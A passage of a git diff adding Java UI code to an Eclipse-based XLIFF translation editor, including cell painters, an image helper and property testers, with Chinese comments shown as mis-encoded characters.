public void widgetDisposed(DisposeEvent e) { + colHeaderMenu.dispose(); + // rowHeaderMenu.dispose(); + } + + }); + } + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + uiBindingRegistry.registerMouseDownBinding(new MouseEventMatcher(SWT.NONE, GridRegion.COLUMN_HEADER, 3), + new PopupMenuAction(colHeaderMenu)); + + // uiBindingRegistry.registerMouseDownBinding(new MouseEventMatcher(SWT.NONE, GridRegion.ROW_HEADER, 3), + // new PopupMenuAction(rowHeaderMenu)); + // + // uiBindingRegistry.registerMouseDownBinding(new MouseEventMatcher(SWT.NONE, GridRegion.CORNER, 3), + // new PopupMenuAction(cornerHeaderMenu)); + } + + /** + * é‡æ–°è®¡ç®—所有行的èœå•æ供类 + * @author cheney + * @since JDK1.6 + */ + // private static final class AutoResizeALLRowMenuItemProvider implements IMenuItemProvider { + // + // @Override + // public void addMenuItem(final NatTable natTable, final Menu popupMenu) { + // MenuItem autoResizeRows = new MenuItem(popupMenu, SWT.PUSH); + // autoResizeRows.setText("Auto resize all rows"); + // autoResizeRows.setEnabled(true); + // + // autoResizeRows.addSelectionListener(new SelectionAdapter() { + // @Override + // public void widgetSelected(SelectionEvent event) { + // int rowPosition = MenuItemProviders.getNatEventData(event).getRowPosition(); + // natTable.doCommand(new InitializeAutoResizeAllRowsCommand(natTable, rowPosition, natTable + // .getConfigRegistry(), new GC(natTable))); + // } + // }); + // } + // } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/LineNumberPainter.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/LineNumberPainter.java new file mode 100644 index 0000000..40de7e8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/LineNumberPainter.java @@ -0,0 +1,98 @@ +/** + * LineNumberPainter.java + * + * Version information : + * + * Date:Mar 1, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.painter; + +import java.util.List; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.TextPainter; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class LineNumberPainter extends TextPainter { + + + public LineNumberPainter() { + super(true,false); + } + + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return 0; + } + + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + Rectangle cellBounds = cell.getBounds(); + Color backgroundColor = CellStyleUtil.getCellStyle(cell, configRegistry).getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + if (backgroundColor != null) { + Color originalBackground = gc.getBackground(); + + gc.setBackground(backgroundColor); + gc.fillRectangle(bounds); + + gc.setBackground(originalBackground); + } + if(checkSplit(cell, configRegistry)){ +// Color originalBackground = gc.getBackground(); +// gc.setBackground(GUIHelper.COLOR_RED); +// gc.fillRectangle(cellBounds); +// gc.setBackground(originalBackground); +// gc.setBackgroundPattern(new Pattern(Display.getCurrent(), XliffEditorGUIHelper.getImage(XliffEditorGUIHelper.ImageName.SPLITPOINT))); + Image image = XliffEditorGUIHelper.getImage(XliffEditorGUIHelper.ImageName.SPLITPOINT); + gc.drawImage(image, cellBounds.width / 2 - image.getBounds().width/2, cellBounds.y +cellBounds.height/2 - image.getBounds().height /2); +// gc.setBackgroundPattern(null); +// +// } +// else { + } + super.paintCell(cell, gc, bounds, configRegistry); + } + + /** + * 通过LayerCell得到行å·ç¡®å®šæ‰€è¦å¾—到的TU对象,通过TU对象的å„ç§å±žæ€§ç¡®å®šå…¶çŠ¶æ€å›¾ç‰‡ + * @param cell + * @param configRegistry + * @return ; + */ + protected boolean checkSplit(LayerCell cell, IConfigRegistry configRegistry) { + + int index = cell.getLayer().getRowIndexByPosition(cell.getRowPosition()); + + // 添加分割点的图标,--robert + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor != null) { + if (!editor.isHorizontalLayout()) { + index = index / 2; + } + String rowId = editor.getXLFHandler().getRowId(index); + List splitPoints = editor.getSplitXliffPoints(); + if (splitPoints.indexOf(rowId) != -1) { + return true; + } + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/StatusPainter.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/StatusPainter.java new file mode 100644 index 0000000..db15849 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/StatusPainter.java @@ -0,0 +1,201 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.painter; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.ui.util.TmUtils; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper.ImageName; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.data.IRowDataProvider; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.CellPainterWrapper; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; + +/** + * TU状æ€Painter + * @author Leakey + * @version + * @since JDK1.5 + */ +public class StatusPainter extends CellPainterWrapper { + /** 是å¦ç”»èƒŒæ™¯. */ + private final boolean paintBg; + /** bodyDataProvider. */ + private IRowDataProvider bodyDataProvider; + + /** + * @param bodyDataProvider + * æ•°æ®æ供者 + */ + public StatusPainter(IRowDataProvider bodyDataProvider) { + this.paintBg = true; + this.bodyDataProvider = bodyDataProvider; + } + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return 0; + } + + /** + * é‡ç»˜æ“作 + */ + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + List> images = getImages(cell, configRegistry); + Rectangle cellBounds = cell.getBounds(); + IStyle cellStyle = CellStyleUtil.getCellStyle(cell, configRegistry); + if (paintBg) { + Color originalBackground = gc.getBackground(); + Color originalForeground = gc.getForeground(); + Color backgroundColor = CellStyleUtil.getCellStyle(cell, configRegistry).getAttributeValue( + CellStyleAttributes.BACKGROUND_COLOR); + if (backgroundColor != null) { + gc.setBackground(backgroundColor); + gc.fillRectangle(bounds); + } + + super.paintCell(cell, gc, bounds, configRegistry); + if (machQuality != null) { + Font oldFont = gc.getFont(); + Font font = cellStyle.getAttributeValue(CellStyleAttributes.FONT); + gc.setFont(font); + if (cellBackground != null) { + gc.setBackground(cellBackground); + gc.setForeground(GUIHelper.COLOR_BLACK); + } + gc.drawText(machQuality, + cellBounds.x + 15 + CellStyleUtil.getHorizontalAlignmentPadding(cellStyle, bounds, 15), + bounds.y + CellStyleUtil.getVerticalAlignmentPadding(cellStyle, bounds, 15)); + gc.setFont(oldFont); + } + gc.setForeground(originalForeground); + gc.setBackground(originalBackground); + cellBackground = null; + } + + if (images != null) { + int x = 0; + for (Map imageMap : images) { + Iterator ps = imageMap.keySet().iterator(); + if (ps.hasNext()) { + int p = ps.next(); + Image image = imageMap.get(p); + if (image == null) { + continue; + } + + if (x == 0) { // 第一张图片的水平ä½ç½®ä»¥cellçš„æ°´å¹³ä½ç½®ä¸ºå‡† + x = cellBounds.x; + } else { // 累加显示过图片的宽度以确定下一张图片的水平ä½ç½® + x = cellBounds.x + 20; + x += 16 * (p - 1); + } + + // TODO 没有考虑对é½æ–¹å¼ + if (p - 1 == 0) { // 第一张图片的水平ä½ç½®è¦åŠ ä¸ŠHorizontalAligmentPadding的宽度和VerticalAlignmentPadding的高度 + gc.drawImage(image, x + CellStyleUtil.getHorizontalAlignmentPadding(cellStyle, bounds, 16), + bounds.y + CellStyleUtil.getVerticalAlignmentPadding(cellStyle, bounds, 16)); + } else { + gc.drawImage(image, x, + bounds.y + CellStyleUtil.getVerticalAlignmentPadding(cellStyle, bounds, 16)); + } + } + } + } + } + + private Color cellBackground; + private String machQuality; + + /** + * 通过LayerCell得到行å·ç¡®å®šæ‰€è¦å¾—到的TU对象,通过TU对象的å„ç§å±žæ€§ç¡®å®šå…¶çŠ¶æ€å›¾ç‰‡ + * @param cell + * @param configRegistry + * @return ; + */ + protected List> getImages(LayerCell cell, IConfigRegistry configRegistry) { + List> images = new ArrayList>(); + + int index = cell.getLayer().getRowIndexByPosition(cell.getRowPosition()); + TransUnitBean tu = bodyDataProvider.getRowObject(index); + + String matchType = tu.getTgtProps().get("hs:matchType"); + machQuality = tu.getTgtProps().get("hs:quality"); + if (matchType != null && machQuality != null) { + if (machQuality.endsWith("%")) { + machQuality = machQuality.substring(0, machQuality.lastIndexOf("%")); + } + cellBackground = TmUtils.getMatchTypeColor(matchType, machQuality); + } + String approved = null; + String translate = null; + String state = null; + String sendToTm = null; + String needReview = null; + int noteSize = 0; + if (tu != null && tu.getTuProps() != null) { + approved = tu.getTuProps().get("approved"); + sendToTm = tu.getTuProps().get("hs:send-to-tm"); + translate = tu.getTuProps().get("translate"); + needReview = tu.getTuProps().get("hs:needs-review"); + if (tu.getTgtProps() != null) { + state = tu.getTgtProps().get("state"); + } + if (tu.getNotes() != null) { + noteSize = tu.getNotes().size(); + } + } + if (translate != null && "no".equals(translate)) { // å·²é”定 + addImage(images, XliffEditorGUIHelper.getImage(ImageName.LOCKED), 1); + } else if (state != null && "signed-off".equals(state)) { // å·²ç­¾å‘ + addImage(images, XliffEditorGUIHelper.getImage(ImageName.SINGED_OFF), 1); + } else if (approved != null && "yes".equals(approved)) { // 已批准 + addImage(images, XliffEditorGUIHelper.getImage(ImageName.APPROVE), 1); + } else if (state != null && "translated".equals(state)) { // 已翻译 + addImage(images, XliffEditorGUIHelper.getImage(ImageName.TRANSLATED), 1); + } else if (state != null && "new".equals(state)) { // è‰ç¨¿ + addImage(images, XliffEditorGUIHelper.getImage(ImageName.DRAFT), 1); + } else { + addImage(images, XliffEditorGUIHelper.getImage(ImageName.EMPTY), 1); + } + + if (sendToTm != null && ("no").equals(sendToTm)) { + addImage(images, XliffEditorGUIHelper.getImage(ImageName.DONT_ADDDB), 2); + } + + if (needReview != null && "yes".equals(needReview)) { + addImage(images, XliffEditorGUIHelper.getImage(ImageName.HAS_QUESTION), 3); + } + if (noteSize > 0) { + addImage(images, XliffEditorGUIHelper.getImage(ImageName.HAS_NOTE), 4); + } + return images; + } + + /** + * 添加图片(过滤nullçš„Image对象) + * @param images + * @param image + */ + private void addImage(List> images, Image image, int position) { + if (image != null) { + Map tempMap = new HashMap(); + tempMap.put(position, image); + images.add(tempMap); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/XliffEditorGUIHelper.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/XliffEditorGUIHelper.java new file mode 100644 index 0000000..03ad195 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/painter/XliffEditorGUIHelper.java @@ -0,0 +1,107 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.painter; + +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.Activator; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.swt.graphics.Image; + +/** + * 获å–状æ€å›¾ç‰‡çš„工具类 + * @author Leakey,weachy + * @version + * @since JDK1.5 + */ +public class XliffEditorGUIHelper { + + private static final String FILE_SEPARATER = System.getProperty("file.separator"); + + public enum ImageName { + // APPROVE("approve"), DISAPPROVE("disapprove"), EDITNOTE("editnote"), REMOVENOTE("removenote"), FINAL("final"), + // NEEDS_ADAPTATION( + // "needs-adaptation"), NEEDS_L10N("needs-l10n"), NEEDS_REVIEW_ADAPTATION("needs-review-adaptation"), + // NEEDS_REVIEW_L10N( + // "needs-review-l10n"), NEEDS_REVIEW_TRANSLATION("needs-review-translation"), NEEDS_TRANSLATION( + // "needs-translation"), NEW("new"), SIGNED_OFF("signed-off"), TRANSLATED("translated"), SPLITPOINT( + // "splitPoint"); + APPROVE("approved"), TRANSLATED("translated"), HAS_NOTE("note"), DONT_ADDDB("not-sent-db"), HAS_QUESTION( + "questioning"), DRAFT("draft"), LOCKED("locked"),SINGED_OFF("sign-off"),SPLITPOINT("cut-point"),EMPTY("not-translated"); + + private final String value; + + private ImageName(String value) { + this.value = value; + } + + public static ImageName getItem(String value) { + ImageName[] imageNames = values(); + for (ImageName imageName : imageNames) { + if (imageName.value.equals(value)) { + return imageName; + } + } + return null; + } + } + + /** 存放图片的路径数组. */ + private static final String[] IMAGE_DIRS = new String[] { "images" + FILE_SEPARATER + "state"+FILE_SEPARATER }; + + /** 图片的åŽç¼€æ•°ç»„. */ + private static final String[] IMAGE_EXTENSIONS = new String[] { ".png" }; + + /** 所有图片的Map. */ + private static Map images = new HashMap(); + + /** + * 得到图片 + * @param ImageName + * 图片å + * @return 图片; + */ + public static Image getImage(ImageName imageName) { + return images.get(imageName); + } + + /** + * æ ¹æ®ç»™å®šçš„图片文件å(ä¸å¸¦åŽç¼€ï¼‰åˆ›å»ºå›¾ç‰‡å¯¹è±¡ + * @param ImageName + * 图片å + * @return 图片; + */ + private static Image createImage(ImageName imageName) { + ImageDescriptor imageDescriptor = getImageDescriptor(imageName.value); + if (imageDescriptor != null) { + return imageDescriptor.createImage(); + } + return null; + } + + /** + * 得到图片æ述符 + * @param imageName + * 图片å + * @return 图片æ述符; + */ + private static ImageDescriptor getImageDescriptor(String imageName) { + for (String dir : IMAGE_DIRS) { + for (String ext : IMAGE_EXTENSIONS) { + ImageDescriptor imageDescriptor = Activator.getImageDescriptor(dir + imageName + ext); + if (imageDescriptor != null) { + return imageDescriptor; + } + } + } + return null; + } + + static { // åˆå§‹åŒ– + ImageName[] imageNames = ImageName.values(); + for (ImageName imageName : imageNames) { + images.put(imageName, createImage(imageName)); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/AddSegmentToTMPropertyTester.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/AddSegmentToTMPropertyTester.java new file mode 100644 index 0000000..9de0a55 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/AddSegmentToTMPropertyTester.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester; + +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * 完æˆç¿»è¯‘,批准,è‰ç¨¿çš„ test + * @author peason + * @version + * @since JDK1.6 + */ +public class AddSegmentToTMPropertyTester extends PropertyTester { + + public static final String PROPERTY_NAMESPACE = "table"; + public static final String PROPERTY_ENABLED = "enabled"; + + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + boolean enabled = false; + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorPart editor = page.getActiveEditor(); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + if (xliffEditor != null && xliffEditor.getTable() != null) { + XLFHandler handler = xliffEditor.getXLFHandler(); + List selectedRowIds = xliffEditor.getSelectedRowIds(); + if (selectedRowIds != null && selectedRowIds.size() > 0) { + final Map> tmpGroup = RowIdUtil.groupRowIdByFileName(selectedRowIds); + boolean hasNullTgt = true; + group: for (Entry> entry : tmpGroup.entrySet()) { + List lstRowIdList = entry.getValue(); + for (String rowId : lstRowIdList) { + String tgtText = handler.getTgtContent(rowId); + if (tgtText != null && !tgtText.equals("") && hasNullTgt) { + hasNullTgt = false; + break group; + } + } + } + boolean isLock = true; + for (String rowId : selectedRowIds) { + if (!handler.isLocked(rowId)) { + isLock = false; + } + } + enabled = !hasNullTgt && !isLock; + + if (!enabled) { + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getTargetStyledEditor(); + if (cellEditor != null && !cellEditor.isApprovedOrLocked()) { + StyledText styledText = cellEditor.getSegmentViewer().getTextWidget(); + if (styledText != null) { + String text = styledText.getText(); + if (text != null && !text.equals("")) { + enabled = true; + } + } + } + } + } + } + } + } + } + + return enabled; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/DeleteToEndOrToTagPropertyTester.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/DeleteToEndOrToTagPropertyTester.java new file mode 100644 index 0000000..00f59a2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/DeleteToEndOrToTagPropertyTester.java @@ -0,0 +1,45 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester; + +import org.eclipse.core.expressions.PropertyTester; + +/** + * 删除光标åŽå†…容和删除标记å‰å†…容的 test + * @author peason + * @version + * @since JDK1.6 + */ +public class DeleteToEndOrToTagPropertyTester extends PropertyTester { + + public static final String PROPERTY_NAMESPACE = "DeleteContent"; + + public static final String PROPERTY_ENABLED = "enabled"; + + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { +// boolean enabled = false; +// IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); +// if (window != null) { +// IWorkbenchPage page = window.getActivePage(); +// if (page != null) { +// IEditorPart editor = page.getActiveEditor(); +// if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { +// ICellEditor iCellEditor = ActiveCellEditor.getCellEditor(); +// if (iCellEditor != null) { +// if (iCellEditor instanceof StyledTextCellEditor) { +// StyledTextCellEditor cellEditor = (StyledTextCellEditor) iCellEditor; +// if (!cellEditor.isClosed()) { +// String type = cellEditor.getCellType(); +// // åªèƒ½åˆ é™¤ç›®æ ‡æ–‡æœ¬ +// if (type.equals(NatTableConstant.TARGET)) { +// enabled = true; +// } +// } +// } +// } +// } +// } +// } + + return true; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/SignOffPropertyTester.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/SignOffPropertyTester.java new file mode 100644 index 0000000..7186587 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/SignOffPropertyTester.java @@ -0,0 +1,84 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester; + +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * ç­¾å‘çš„ test + * @author peason + * @version + * @since JDK1.6 + */ +public class SignOffPropertyTester extends PropertyTester { + + public static final String PROPERTY_NAMESPACE = "signedOff"; + public static final String PROPERTY_ENABLED = "enabled"; + + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorPart editor = page.getActiveEditor(); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + if (xliffEditor != null && xliffEditor.getTable() != null) { + XLFHandler handler = xliffEditor.getXLFHandler(); + List selectedRowIds = xliffEditor.getSelectedRowIds(); + if (selectedRowIds != null && selectedRowIds.size() > 0) { + boolean isLock = true; + boolean isDraft = true; + for (String rowId : selectedRowIds) { + if (!handler.isDraft(rowId) && isDraft) { + isDraft = false; + if (!isLock) { + break; + } + } + if (!handler.isLocked(rowId) && isLock) { + isLock = false; + if (!isDraft) { + break; + } + } + } + if (isLock || isDraft) { + return false; + } + final Map> tmpGroup = RowIdUtil.groupRowIdByFileName(selectedRowIds); + boolean hasNullTgt = true; + group: + for (Entry> entry : tmpGroup.entrySet()) { + List lstRowIdList = entry.getValue(); + for (String rowId : lstRowIdList) { + String tgtText = handler.getTgtContent(rowId); + if (tgtText != null && !tgtText.equals("") && hasNullTgt) { + hasNullTgt = false; + break group; + } + } + } + if (hasNullTgt) { + return false; + } + return true; + } + } + } + } + } + return false; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/UnTranslatedPropertyTester.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/UnTranslatedPropertyTester.java new file mode 100644 index 0000000..71fbb9b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/UnTranslatedPropertyTester.java @@ -0,0 +1,74 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester; + +import java.util.List; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * 未翻译的 test + * @author peason + * @version + * @since JDK1.6 + */ +public class UnTranslatedPropertyTester extends PropertyTester { + + public static final String PROPERTY_NAMESPACE = "untranslated"; + public static final String PROPERTY_ENABLED = "enabled"; + + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + boolean enabled = false; + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorPart editor = page.getActiveEditor(); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + if (xliffEditor != null && xliffEditor.getTable() != null) { + enabled = true; + XLFHandler handler = xliffEditor.getXLFHandler(); + List selectedRowIds = xliffEditor.getSelectedRowIds(); + if (selectedRowIds != null && selectedRowIds.size() > 0) { + boolean isLock = true; + for (String rowId : selectedRowIds) { + if (!handler.isEmptyTranslation(rowId)) { + enabled = false; + break; + } + if (!handler.isLocked(rowId)) { + isLock = false; + } + } + enabled = enabled && !isLock; + if (!enabled) { + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getTargetStyledEditor(); + if (cellEditor != null && !cellEditor.isApprovedOrLocked()) { + StyledText styledText = cellEditor.getSegmentViewer().getTextWidget(); + if (styledText != null) { + String text = styledText.getText(); + if (text != null && !text.equals("")) { + enabled = true; + } + } + } + + } + } + } + } + } + } + return enabled; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/XLIFFEditorSelectionPropertyTester.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/XLIFFEditorSelectionPropertyTester.java new file mode 100644 index 0000000..9a08ac0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/propertyTester/XLIFFEditorSelectionPropertyTester.java @@ -0,0 +1,44 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester; + +import java.util.List; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * éªŒè¯ XLIFF 编辑器选中状æ€çš„ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public class XLIFFEditorSelectionPropertyTester extends PropertyTester { + + public static final String PROPERTY_NAMESPACE = "xliffEditor"; + public static final String PROPERTY_ENABLED = "selectionCount"; + + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + boolean enabled = false; + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorPart editor = page.getActiveEditor(); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + XLIFFEditorImplWithNatTable xliffEditor = (XLIFFEditorImplWithNatTable) editor; + if (xliffEditor != null && xliffEditor.getTable() != null) { + List selectedRowIds = xliffEditor.getSelectedRowIds(); + enabled = (selectedRowIds != null && selectedRowIds.size() > 0); + } + } + } + } + + return enabled; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/AutomaticQATrigger.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/AutomaticQATrigger.java new file mode 100644 index 0000000..e5e6560 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/qa/AutomaticQATrigger.java @@ -0,0 +1,77 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.qa; + +import net.heartsome.cat.ts.core.file.XLFHandler; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 自动å“质检查的扩展触å‘ç±» + * @author robert 2012-??-?? + */ +public class AutomaticQATrigger { + + private static final Logger LOGGER = LoggerFactory.getLogger(AutomaticQATrigger.class); + + private IAutomaticQA autoQA; + private static final String CONSTANT_automaticQA_EXTENSION_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.extension.automaticQA"; + + public 